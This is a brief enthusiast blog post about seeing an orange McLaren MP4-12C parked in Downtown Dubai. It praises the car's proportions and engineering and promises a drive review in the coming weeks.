The McLaren MP4-12C… a car that I’d only previously had the pleasure of at the regional press launch some months back, is big news in the Supercar world. Less dramatic than the Ferrari 458 Italia, yet utterly desirable in it’s own technically brilliant and devastating way. And sure as eggs are eggs, it will go down a storm here in the Middle East.
As I stepped out of the Armani hotel in Down Town Dubai after being wowed by the mind blowing horny Aston Martin Zagato, my eyes where immediately drawn to the cheeky orange number parked across the way. Tight, smaller than imagined and beautiful in a way I actually had forgotten.
As subtle and dare we say bland people believe the MP4-12C to be, you can’t help but notice just how perfectly proportioned it is in real life. No visual flare maybe, however this piece of Woking engineering has flare coming from all of it’s beautifully engineered pores.
Keep your eyes peeled from the big air brake out back flapping up and down on a car in front of you soon…
Speaking of which, we hope to be hoping behind the wheel in the coming weeks and will be bringing you our usual dose of colour and words to help share our experience with you.
As I hopped back into our beloved ‘Rocco and drove off, I couldn’t help but start to day dream about hitting the Kalba run and firing across the UAE to the east coast.
